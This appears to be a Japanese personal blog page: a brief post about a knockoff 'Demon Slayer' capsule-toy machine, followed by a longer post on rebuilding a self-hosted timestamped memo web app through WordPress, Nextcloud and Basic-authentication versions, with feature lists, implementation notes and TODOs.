スーパーの前だけどちょっとひなびた場所に、「鬼滅の刃」の類似品(「鬼刻の刀」: 少し前にネットで話題になったようだ)のガチャガチャがあった。やっぱり田舎は昔ながらでパチ物が多いなと、なごんだ。でも、今はスマフォとかが発達しているのに、こういうのを買ってしまう子どもはまだ居るのかと疑問に思った。

あ、親が頼まれてとか お土産(子どもが日頃から「鬼滅鬼滅」とか言っているので)にうっかり買って、「あれ買って来たよ、鬼のなんとかいうの」とか言いながら出して がっかりされるパターンはありそうだ。何ともほのぼのとしてしまうw

でもまあ、ガチャガチャは親は頼まれないし、大人が自分ではやらないか・・・

 

PS. ちなみに、僕はこの作品は全く知らない。絵柄とかが好きでないから、知ることはなさそうだ。でも、キャラの名前が古風なのはいいかも知れない。ちょっと凝り過ぎ(字の画が多くて力んでいる感じで、読むと疲れそう)だけど。

  •  1
  •  0

Evernoteからの脱却の一環として先日作った、WriteNoteの代わりのメモアプリ・システム BNoteを改良、というか何度も作り直して居た。いろいろ試したものの、結局、25年くらい前を彷彿させる※素っ気ないwebとなった。

※でも、marqueeやアニメGIFは使ってないので許されそうだw

僕にとって一番重要なのは、主に外出先で手軽に「サッと」ノート(タイムスタンプ付きメモ)を書くことができる、しかも、入力欄が大きくて見やすい・書きやすいということで、それらは充分に満たしているし、自分だけで使うものなので、やり過ぎるのは疲れるうえに馬鹿らしいから、とりあえずは良しとした。

以下にその変遷を書く。

  1. Automagic版
    • Automagicに問題はなかったが、この夏に終了になってしまったため、なるべく移行した方がいいと考えた。
    • また、入力欄が小さい(ほとんど調整できない)のがちょっと気に入らなかった。
  2. Automate版: 初期の機能確認まで
    • Automagicの代替アプリのひとつ、Automateを試してみた。
    • 機能的には使えそうなことは分かった(入力欄はAutomagicより良かった)が、有料だし面倒(グラフィカルなプログラミングはスマフォでしかできないので、結構疲れるし、何をするにもやり方が違う)なので止めた。
    • 入れたら電池消費が増えた(本当かは不明)気がしたのも、止めた理由の一つ。
  3. Web版 (作らなかったかも: 記憶が曖昧)
    • 試しに作って動いたが、ちゃんと使うには認証が必要なので、WordPress版に移行した。
  4. WordPress版
    • WordPress(以下WP)の非公開の投稿(ログインしないと表示できない)に無理やり(<pre>の中に入れた)HTMLとプログラム(PHP)を書いて、ノートが書けるようにした。
    • WPで認証できるメリットがあったため、やってみた。
  5. Web版 (WPで認証)
    • さすがに(中身が)綺麗でなかったので、単独のwebページにした。ただ、認証は必要なので、(無理やり)WPの認証を使った。
      • どういう仕組みかは分からないが、wp-load.phpを取り込むと、ログインしているかの確認ができる。
  6. Web版 (Joplinに保存): 中止
    • サーバにJoplinアプリ(コマンドライン版)をインストールすれば、自動でJoplinに取り込めて便利だと考えたが、以下の理由で中止した。
      • サーバにJoplinのストレージのNextcloud(以下NC)のアカウント情報を保存するのは良くない。
      • Joplinアプリのキャッシュ(Joplinのノート全部が入る)は暗号化されないが、それではNCのストレージを暗号化している意味がなくなる。
  7. Web版 (NC管理下に保存)
    • ノートのファイルをNCの管理下に保存し、NCでデスクトップPCに同期できるようにした。
    • NCの仕様により、ノートは平文で保存している。
      • BNoteのノートは量が少ないので、許容することにした。
  8. NCのFormsアプリ改造版: 断念
    • ファイルはNCに保存するのに認証がWPなのは変なので、NCの認証が効くNCのアプリを利用しようとしたが、断念した。
    • Formsアプリ(アンケートなどに使うアプリ)が結果が見やすいので試してみた。
      • Formsの入力ページを外のページのIFRAMEに入れて位置情報を追加しようとした。
        • しかし、どうしてもFormsの入力フィールドに位置情報を設定(自動記入)できなかった(設定してもサーバに届かない)ので、諦めた。
  9. NCの外部サイト版: 断念
    • NCから外部サイトを開ける機能にBNoteのweb版を指定して、NCの認証を利用しようとしたが、手軽に使える認証情報はなかった。
      • その情報(例: 外のNCのページのrequesttoken)とNCのDB内に保存された値を比較すれば、認証しているか確認できそうだと考えたが、DB内には見つからなかった。
    • NCのOAuth2機能が使えそうだったが、それほど手軽ではなかったので断念した。
  10. WP版 (Basic認証+α) ← 今ここ
    • 既にある手軽な認証機能を使うのを諦め、(昔ながらに)自分で認証することにした。
    • HTTPSなら、Basic認証は(カッコ悪いけど)それほど脆弱でないので、そうした。
    • また、愉快犯によるブルートフォース攻撃を避けるため、URLのパスを"bnote"のような分かりやすいものでなく暗号みたいな文字列にして、ログインを試すこと自体を難しくした。
      • 仮にログインできても、ノートが書けるだけで読めないので、(DoS攻撃は別として)致命的な問題は起こらなそう。
      • とは言え、変な引数やバッファオーバーフローなど、考慮していない脆弱性があるかも知れないので慎重を期した。

以下に、作った(出来た)ものについて書く。

BNoteの機能

  • スマフォで(PCでも)短いノート(タイムスタンプ付メモ)が書ける。
    • ブラウザで動くのでアプリのインストールは不要。
      • ただし、スマフォの場合、Operaでは位置が取れず、Firefoxはなぜかハングして表示できないので、事実上はChrome系しか使えない。
  • 各ノートには時刻と位置(取得可能な場合)が追加される。
    • 各ノート間は空行で区切られる。
    • その日の最初のノートの前には日付も入る。
  • 一日分のノートは1個のファイル(ファイル名に日付が入る)にまとめられる。
    • ユーザ(一人しか居ないが)・年ごとに別のディレクトリになる。
  • ノートのファイルはサーバに作成され、自動でデスクトップPCに同期される。
  • ノートを新規作成・更新したらメールで通知が来る。(Joplinへの転記忘れを防ぐため)

 

実装メモ

  • 認証: Basic認証
    • 上記のとおり、HTTPSならそれほど脆弱でないと考えた。
  • ノートの入力: HTML(FORM, textarea)
    • ノートをJavaScriptで送るためPOSTは面倒だったので、GETを使っている(URLのクエリー文字列にノートを含めている)。それぞれのノートは短いので、GETでも大きな問題はなさそうだと考えた。
  • 位置の取得: JavaScript
    • 送信ボタンを押した時に位置を取得し、ノートと一緒にサーバに送る。
    • 位置取得条件は「何でも可」(高精度でなくても可、無限に過去のものも可)にして、電池消費を増やさないようにしている。また、「あればいい」スタンスなので、取得タイムアウトを0.5秒と短めにした。
  • ノートへの時刻・位置情報の自動付加: PHP
    • ノートの送信時刻を各ノートの前に付け、位置(送られて来たら)を後ろに追加して、ファイルに記録する。
    • 時刻は、クライアント(ブラウザ)から送られて来たらそれを使い、なければサーバでの受信時刻を使う。
  • ノートの保存先: 通常のファイル (NCで同期)
    • NC(暗号化ストレージ)以外で作成・更新したファイルの取り込みを容易にするため、「外部ストレージ」の機能を使った。
  • ノートの同期: Nextcloudアプリ
    • 今までは別のファイルをrcloneで同期していたが、こちらのほうがリアルタイム性があって便利なので、全部を切り替えた。
  • 新規作成・更新ノートの通知: crontab+find
    • 定期的に検索している。
      • 最後に最新だったファイル名を保存しておき、それより新しいものを調べている。

問題点・TODO

  • サーバが停まっていたり、通信出来ない場合はノートが書けない。
    • そういう時は、エディタやJoplinを使うとか、手で紙に書けばいいか。。。
      • 通信できる場合は、元祖のWriteNoteを使ってもいい。
    • ブラウザのローカルストレージを使う手もありそうだが、なかなか面倒そうだし、やり過ぎだろう。
  • 複数のセッションで同時に書き込むと、きっと良くないことが起こる。
    • 対応するとすれば、書き込む時に排他制御するのだろうが、一人で同時に別の端末から書き込むことは物理的にできないので、対処しなくても大きな問題ではない。
  • 位置の取得条件などを変えられると便利かも。
    • そういう設定を付けても、いじることはまずなさそう・・・

その他

  • FirefoxのAndroid版は、上記のようにハングしたり位置が取れないだけでなく、viewportの動作がChromeやOperaと違っていた(textareaの幅がものすごく広くなった)ので、以前もそうだったが、相変わらず使えないと思った。
  • Operaで位置が取れないのは、navigator.geolocation.getCurrentPosition()のオプションの高精度("enableHighAccuracy")を有効にしていないからかも知れない。(未確認: これを指定すると電池を食いそうなので、余りしたくない)
  • 今はノートの記入にはChromeを使っていて、電池消費が気になるが、使いながら確認したい。
  • JavaScriptを使うと、(セキュリティ上の条件はあるが)iframeの親(外)や子(中)にアクセスできることが分かり、なかなか強力だと感心した。

 

PS. Evernoteからの脱却はほとんど終わったようなものだ。近頃はEvernoteでノートを書くどころか、全然アクセスしていない。あとは残りのノートをJoplinに移行する「だけ」だからロボットにでも頼めばいいが、適当なものがないのでw、やる気が出た時にやろうと思っている。ノートの数が多いので、重要なものだけは目で確認し、残りは一括処理しようと思っていて、その準備は大体できている。あとは一括処理するスクリプトを書く「だけ」だ。これもロボットに頼みたい(爆)

なお、Joplinは最高とは言えないが、少なくともEvernoteの10倍は いい。自分でいろいろ いじれるのもいい。ただ、Androidアプリはもう少し頑張って欲しい(大きいノートではビューア以外に使うのはキツい)。今はデスクトップ版に注力している感じなので、今後に期待したい。

PS2. その後、Hacker newsを見ていたら、僕と同じようにタイムスタンプ付きメモをしたい人(→ 元のスレッド: jlduggerという人のコメント)が居ることを知り、そのためのツール(jrnl)があることを知った。ノートの記録(表示)のされ方がBNoteそっくりなのに驚いた。 (11/26 14:16)

  •  0
  •  1